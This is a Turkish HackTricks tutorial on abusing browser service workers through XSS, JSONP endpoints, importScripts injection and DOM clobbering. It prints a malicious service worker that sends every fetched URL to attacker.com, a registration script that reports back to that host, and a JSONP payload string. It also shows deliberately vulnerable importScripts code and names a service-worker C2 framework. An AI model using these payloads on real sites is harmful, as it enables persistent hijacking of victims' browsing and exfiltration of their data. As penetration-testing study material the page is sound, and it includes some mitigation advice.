Abusing Service Workers

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Bir service worker, tarayıcınız tarafından arka planda, herhangi bir web sayfasından ayrı olarak çalışan bir betiktir. Web sayfası veya kullanıcı etkileşimi gerektirmeyen özellikleri etkinleştirerek çevrimdışı ve arka plan işleme yeteneklerini artırır. Service worker'lar hakkında ayrıntılı bilgi burada bulunabilir. Kırılgan bir web alanında service worker'ları kötüye kullanarak, saldırganlar kurbanın o alan içindeki tüm sayfalarla etkileşimlerini kontrol edebilir.

Mevcut Service Worker'ları Kontrol Etme

Mevcut service worker'lar, Geliştirici Araçları'ndaki Uygulama sekmesinde Service Workers bölümünde kontrol edilebilir. Diğer bir yöntem ise daha ayrıntılı bir görünüm için chrome://serviceworker-internals adresini ziyaret etmektir.

Push Bildirimleri

Push bildirim izinleri, bir service worker'ın sunucu ile doğrudan kullanıcı etkileşimi olmadan iletişim kurma yeteneğini doğrudan etkiler. İzinler reddedilirse, service worker'ın sürekli bir tehdit oluşturma potansiyelini sınırlar. Tersine, izinlerin verilmesi, potansiyel istismarların alınmasını ve yürütülmesini sağlayarak güvenlik risklerini artırır.

Service Worker Oluşturma Saldırısı

Bu açığı kötüye kullanmak için şunları bulmanız gerekir:

  • Sunucuya keyfi JS dosyaları yüklemenin bir yolunu ve yüklenen JS dosyasının service worker'ını yüklemek için bir XSS

  • Çıktıyı manipüle edebileceğiniz bir kırılgan JSONP isteği (keyfi JS kodu ile) ve kötü niyetli bir service worker'ı yükleyecek bir yük ile JSONP'yi yüklemek için bir XSS.

Aşağıdaki örnekte, fetch olayını dinleyecek ve her alınan URL'yi saldırganın sunucusuna gönderecek bir yeni service worker kaydetmek için bir kod sunacağım (bu, sunucuya yüklemeniz veya bir kırılgan JSONP yanıtı aracılığıyla yüklemeniz gereken koddur):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Ve bu, işçiyi kaydedecek koddur (bu kodu bir XSS istismar ederek çalıştırabilmelisiniz). Bu durumda, hücum edenlerin sunucusuna kaydı başarılı olup olmadığını bildiren bir GET isteği gönderilecektir:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

JSONP uç noktasını istismar etme durumunda, değeri var sw içine koymalısınız. Örneğin:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Bir C2, bu güvenlik açıklarını istismar etmek için Service Workers'a adanmış Shadow Workers bulunmaktadır ve bu, bu güvenlik açıklarını istismar etmek için çok faydalı olacaktır.

24 saatlik önbellek direktifi, kötü niyetli veya tehlikeye girmiş bir service worker (SW)'ın ömrünü, çevrimiçi istemci durumu varsayılarak, bir XSS güvenlik açığı düzeltmesinden sonra en fazla 24 saat ile sınırlar. Güvenliği en aza indirmek için, site operatörleri SW betiğinin Yaşam Süresi'ni (TTL) düşürebilir. Geliştiricilere ayrıca hızlı devre dışı bırakma için bir service worker kill-switch oluşturmaları önerilir.

DOM Clobbering ile bir SW'de importScripts'i İstismar Etme

Bir Service Worker'dan çağrılan importScripts fonksiyonu, farklı bir alandan bir betik içe aktarabilir. Eğer bu fonksiyon, bir saldırganın değiştirebileceği bir parametre kullanılarak çağrılırsa, saldırgan kendi alanından bir JS betiği içe aktarabilir ve XSS elde edebilir.

Bu, CSP korumalarını da aşar.

Örnek savunmasız kod:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

DOM Clobbering ile

DOM Clobbering'in ne olduğu hakkında daha fazla bilgi için kontrol edin:

Dom Clobbering

Eğer SW'nin importScripts çağrısı yaptığı URL/domain bir HTML öğesinin içindeyse, bu DOM Clobbering aracılığıyla değiştirilmesi mümkündür ve SW'nin kendi domaininizden bir script yüklemesini sağlar.

Bunun bir örneği için referans bağlantısına bakın.

Referanslar

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Last updated